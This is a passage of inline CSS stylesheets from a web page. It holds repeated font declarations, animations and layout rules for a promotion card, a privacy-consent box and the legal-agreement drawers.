background: linear-gradient(to right, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
background-size: 350% 200%;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.wild--card__container {
width: 224px;
height: 311px;
padding: 24px 20px 0 20px;
background-repeat: no-repeat;
background-size: cover;
background-position: center;
box-sizing: border-box;
border-radius: 5px;
cursor: pointer; }
@media (max-width: 1023px) {
.wild--card__container {
height: auto;
width: 100%;
border-radius: 10px;
padding: 8px 20px 8px 16px; } }
.wild--card__container .container__promotion {
width: 100%;
display: flex;
justify-content: space-between; }
.wild--card__container .container__promotion .promotion__card {
border-radius: 2px;
width: 85px;
height: 124px; }
.wild--card__container .container__promotion .promotion__card hr {
border: 0.5px solid #f4f6f8;
margin: 4px 16px 0px 16px; }
.wild--card__container .container__promotion .promotion__card .card__title p {
font-family: Nunito-Bold;
font-size: 14px;
line-height: 19px;
text-align: center;
margin: 9px 0px 0px 0px; }
.wild--card__container .container__promotion .promotion__card .card__header p {
font-size: 9px;
line-height: 12px;
text-align: center;
font-family: NunitoSans-Bold;
margin: 8px 0px -3px 0px; }
.wild--card__container .container__promotion .promotion__card .card__body p {
font-family: NunitoSans-ExtraBold;
font-size: 28px;
line-height: 38px;
text-align: center;
margin: 0px; }
.wild--card__container .container__promotion .promotion__card .card__footer p {
font-family: NunitoSans-Bold;
font-size: 9px;
line-height: 12px;
text-align: center;
margin: -4px 0px 0px 0px; }
.wild--card__container .container__promotion .card__logo {
height: 48px;
width: 48px;
margin-top: 8px; }
.wild--card__container .container__promotion .card__logo img {
background-repeat: no-repeat;
height: 48px;
width: 48px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.box-privacyagreement {
display: flex;
justify-content: center;
align-items: flex-start;
padding: 24px;
width: 375px;
height: 160px;
left: 16px;
top: 16px;
background: #ffffff;
border: 0.75px solid #D7E1EA;
box-sizing: border-box;
box-shadow: 0px 2px 4px rgba(40, 41, 61, 0.04), 0px 8px 16px rgba(96, 97, 112, 0.16);
border-radius: 6px;
z-index: 11;
position: fixed; }
@media (max-width: 727px) {
.box-privacyagreement {
border-radius: 0;
flex-direction: column;
width: 100%;
left: 0;
top: 0; } }
.box-privacyagreement.box-privacyagreement--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
visibility: hidden;
bottom: 120%;
transform: translateY(-120%); }
.box-privacyagreement.box-privacyagreement--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible;
position: fixed; }
.box-privacyagreement .box-privacyagreement-title-container .title-text {
font-family: Nunito-Bold;
font-size: 14px;
line-height: 19px;
color: #122e43;
margin: 3px 0px; }
@media (max-width: 727px) {
.box-privacyagreement .box-privacyagreement-title-container .title-text {
width: 100%; } }
.box-privacyagreement .box-privacyagreement-title-container .subtitle-text {
font-family: NunitoSans-Regular;
font-size: 14px;
line-height: 19px;
color: #416179;
margin: 10px 0px; }
@media (max-width: 727px) {
.box-privacyagreement .box-privacyagreement-title-container .subtitle-text {
width: 100%; } }
.box-privacyagreement .button-container {
display: flex;
justify-content: space-between; }
@media (max-width: 727px) {
.box-privacyagreement .button-container {
width: 100%; } }
.box-privacyagreement .button-container .button_left button {
width: 155.5px;
height: 32px;
border-radius: 6px;
padding: 0; }
.box-privacyagreement .button-container .button_left button .button__content {
color: #122e43;
font-family: Nunito-SemiBold;
font-size: 14px; }
@media (max-width: 320px) {
.box-privacyagreement .button-container .button_left button .button__content {
font-size: 12px; } }
@media (max-width: 727px) {
.box-privacyagreement .button-container .button_left button {
width: calc(50vw - 32px); } }
.box-privacyagreement .button-container .button_rigth button {
width: 155.5px;
height: 32px;
border-radius: 6px;
padding: 0; }
.box-privacyagreement .button-container .button_rigth button .button__content {
font-family: Nunito-SemiBold;
font-size: 14px; }
@media (max-width: 320px) {
.box-privacyagreement .button-container .button_rigth button .button__content {
font-size: 12px; } }
@media (max-width: 727px) {
.box-privacyagreement .button-container .button_rigth button {
width: calc(50vw - 32px); } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer-privacyagreement-checks {
position: fixed;
background-color: rgba(0, 0, 0, 0.3);
width: 100%;
height: 100%;
display: flex;
justify-content: flex-end;
z-index: 11;
top: 0;
right: 0;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
border-radius: 0px;
opacity: 0;
visibility: hidden; }
.drawer-privacyagreement-checks.drawer-privacyagreement-checks--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
visibility: hidden; }
.drawer-privacyagreement-checks.drawer-privacyagreement-checks--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible; }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks-title-container {
background-color: #F4F6F8;
align-items: center; }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks-title-container .title-text {
font-family: NunitoSans-Bold;
font-size: 22px;
line-height: 25px;
color: #122e43;
text-align: center;
margin: 16px 20px; }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks-title-container .subtitle-text {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 22px;
color: #416179;
text-align: center;
margin: 16px 20px 32px 20px; }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks-title-container .box-img {
vertical-align: middle;
text-align: center;
margin: 56px 20px 16px 20px; }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks-title-container .box-img .img {
width: 188.41px;
height: 162.52px; }
.drawer-privacyagreement-checks .button-container {
padding: 0px 20px;
display: flex;
position: fixed;
left: 0;
right: 0;
bottom: 0;
flex-direction: column;
justify-content: end; }
.drawer-privacyagreement-checks .button-container .button {
font-size: 14px;
width: 100%;
height: 48px; }
.drawer-privacyagreement-checks .button-container .button .button__content {
font-family: Nunito-SemiBold;
color: #122e43; }
.drawer-privacyagreement-checks .button-container .button-top button {
background-color: #D8DFE5; }
.drawer-privacyagreement-checks .button-container .button-top button .button__content {
color: #ffffff;
font-family: Nunito-Bold;
font-size: 16px;
line-height: 24px; }
.drawer-privacyagreement-checks .button-container .button-down {
padding-top: 16px;
padding-bottom: 20px; }
.drawer-privacyagreement-checks .button-container .button-down button .button__content {
color: #122e43;
font-family: Nunito-Bold;
font-size: 16px;
line-height: 24px; }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks__content {
overflow: auto;
width: 375px;
background-color: #F4F6F8;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(100%);
-moz-transform: translateX(100%);
-ms-transform: translateX(100%);
-o-transform: translateX(100%);
transform: translateX(100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
@media (max-width: 727px) {
.drawer-privacyagreement-checks .drawer-privacyagreement-checks__content {
width: 100%; } }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks__content::-webkit-scrollbar {
width: 0; }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks__content.content--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
-ms-transform: translateX(0);
-o-transform: translateX(0);
transform: translateX(0);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.drawer-privacyagreement-checks .drawer-privacyagreement-checks__content .content-box {
overflow-y: scroll; }
.drawer-privacyagreement-checks .general-agreement {
margin: 24px 20px; }
.drawer-privacyagreement-checks .general-agreement .general-agreement-label {
font-size: 16px;
line-height: 24px;
color: #6e7f8d;
font-family: NunitoSans-Regular; }
.drawer-privacyagreement-checks .general-agreement .general-agreement-label .check {
display: inline;
margin: 8px; }
.drawer-privacyagreement-checks .general-agreement .general-agreement-label a {
text-decoration: none;
font-family: NunitoSans-Bold; }
.drawer-privacyagreement-checks .general-agreement .general-agreement-label a:link {
color: #56b8fa; }
.drawer-privacyagreement-checks .general-agreement .general-agreement-label a:visited {
color: #56b8fa; }
@media (max-width: 320px) {
.drawer-privacyagreement-checks .general-agreement .general-agreement-label {
font-size: 14px; } }
.drawer-privacyagreement-checks .digital-agreement {
margin: 24px 20px; }
.drawer-privacyagreement-checks .digital-agreement .digital-agreement-label {
font-size: 16px;
line-height: 24px;
color: #6e7f8d;
font-family: NunitoSans-Regular; }
.drawer-privacyagreement-checks .digital-agreement .digital-agreement-label .check {
display: inline;
margin: 8px; }
.drawer-privacyagreement-checks .digital-agreement .digital-agreement-label a {
text-decoration: none;
font-family: NunitoSans-Bold; }
.drawer-privacyagreement-checks .digital-agreement .digital-agreement-label a:link {
color: #56b8fa; }
.drawer-privacyagreement-checks .digital-agreement .digital-agreement-label a:visited {
color: #56b8fa; }
@media (max-width: 320px) {
.drawer-privacyagreement-checks .digital-agreement .digital-agreement-label {
font-size: 14px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer-privacyagreement-legal {
position: fixed;
background-color: rgba(0, 0, 0, 0.3);
width: 100%;
height: 100vh;
display: flex;
justify-content: flex-end;
z-index: 11;
top: 0;
left: 0;
opacity: 0;
visibility: hidden; }
.drawer-privacyagreement-legal.drawer-privacyagreement-legal--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer-privacyagreement-legal.drawer-privacyagreement-legal--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible; }
.drawer-privacyagreement-legal .superior {
min-height: calc(100vh - 112px - 40px);
display: flex;
flex-direction: column; }
.drawer-privacyagreement-legal .superior .drawer-privacyagreement-legal-title-container {
display: flex;
flex-direction: column;
margin: 24px 20px 12px 20px; }
.drawer-privacyagreement-legal .superior .drawer-privacyagreement-legal-title-container .title-text {
font-family: Nunito-Bold;
font-size: 20px;
line-height: 20px;
color: #416179; }
.drawer-privacyagreement-legal .superior .drawer-privacyagreement-legal-title-container .subtitle-text {
font-family: Nunito-ExtraBold;
margin-top: 4px;
font-size: 26px;
line-height: 30px;
color: #122e43; }
.drawer-privacyagreement-legal .superior .button-container {
display: flex;
margin: 8px 20px 0 20px; }
.drawer-privacyagreement-legal .superior .button-container button {
width: 100%;
height: 48px; }
.drawer-privacyagreement-legal .superior .button-container button .button__content {
font-size: 14px;
font-family: Nunito-Bold;
margin: 0px -11px; }
@media (max-width: 375px) {
.drawer-privacyagreement-legal .superior .button-container button .button__content {
margin: 0px -29px; } }
@media (max-width: 351px) {
.drawer-privacyagreement-legal .superior .button-container button .button__content {
margin: 0px -21px; } }
@media (max-width: 335px) {
.drawer-privacyagreement-legal .superior .button-container button .button__content {
margin: 0px -51px; } }
@media (max-width: 727px) {
.drawer-privacyagreement-legal .superior {
min-height: 79vh; } }
@media (max-width: 629px) {
.drawer-privacyagreement-legal .superior {
min-height: 77vh; } }
@media (max-width: 458px) {
.drawer-privacyagreement-legal .superior {
min-height: 73vh; } }
@media (max-width: 414px) {
.drawer-privacyagreement-legal .superior {
min-height: 74vh; } }
@media (max-width: 360px) {
.drawer-privacyagreement-legal .superior {
min-height: 77vh; } }
@media (max-width: 375px) {
.drawer-privacyagreement-legal .superior {
min-height: 77vh; } }
@media (max-width: 320px) {
.drawer-privacyagreement-legal .superior {
min-height: 72vh; } }
.drawer-privacyagreement-legal .drawer-privacyagreement-legal__content {
overflow: auto;
width: 375px;
min-height: 100vh;
background-color: #ffffff;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(100%);
-moz-transform: translateX(100%);
-ms-transform: translateX(100%);
-o-transform: translateX(100%);
transform: translateX(100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer-privacyagreement-legal .drawer-privacyagreement-legal__content::-webkit-scrollbar {
width: 0; }
.drawer-privacyagreement-legal .drawer-privacyagreement-legal__content.content--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
-ms-transform: translateX(0);
-o-transform: translateX(0);
transform: translateX(0);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s;
display: flex;
flex-direction: column;
justify-content: space-between; }
.drawer-privacyagreement-legal .drawer-privacyagreement-legal__content .content-box {
height: 100vh;
margin: 24px 28px 0 20px;
overflow-y: scroll; }
@media (max-width: 720px) {
.drawer-privacyagreement-legal .drawer-privacyagreement-legal__content .content-box {
margin: 26px 24px 0px; } }
.drawer-privacyagreement-legal .drawer-privacyagreement-legal__content .content-box h3, .drawer-privacyagreement-legal .drawer-privacyagreement-legal__content .content-box h2 {
font-family: Nunito-Bold;
font-size: 16px;
color: #122e43; }
.drawer-privacyagreement-legal .drawer-privacyagreement-legal__content .content-box p, .drawer-privacyagreement-legal .drawer-privacyagreement-legal__content .content-box ul li, .drawer-privacyagreement-legal .drawer-privacyagreement-legal__content .content-box ol li, .drawer-privacyagreement-legal .drawer-privacyagreement-legal__content .content-box a {
font-family: NunitoSans-Regular;
font-size: 16px;
color: #416179; }
@media (max-width: 727px) {
.drawer-privacyagreement-legal .drawer-privacyagreement-legal__content {
width: 100%; } }
.drawer-privacyagreement-legal .container-buttons-options {
margin: 20px;
display: flex;
flex-direction: column;
justify-self: end; }
.drawer-privacyagreement-legal .container-buttons-options .button-top button {
margin-bottom: 16px;
width: 100%;
height: 48px; }
.drawer-privacyagreement-legal .container-buttons-options .button-top button .button__content {
font-size: 16px;
font-family: Nunito-Bold;
margin: 0px -11px; }
@media (max-width: 375px) {
.drawer-privacyagreement-legal .container-buttons-options .button-top button .button__content {
margin: 0px -29px; } }
@media (max-width: 351px) {
.drawer-privacyagreement-legal .container-buttons-options .button-top button .button__content {
margin: 0px -21px; } }
@media (max-width: 335px) {
.drawer-privacyagreement-legal .container-buttons-options .button-top button .button__content {
margin: 0px -51px; } }
.drawer-privacyagreement-legal .container-buttons-options .button-down button {
width: 100%;
height: 48px; }
.drawer-privacyagreement-legal .container-buttons-options .button-down button .button__content {
font-size: 16px;
font-family: Nunito-Bold;
margin: 0px -11px; }
@media (max-width: 375px) {
.drawer-privacyagreement-legal .container-buttons-options .button-down button .button__content {
margin: 0px -29px; } }
@media (max-width: 351px) {
.drawer-privacyagreement-legal .container-buttons-options .button-down button .button__content {
margin: 0px -21px; } }
@media (max-width: 335px) {
.drawer-privacyagreement-legal .container-buttons-options .button-down button .button__content {
margin: 0px -51px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
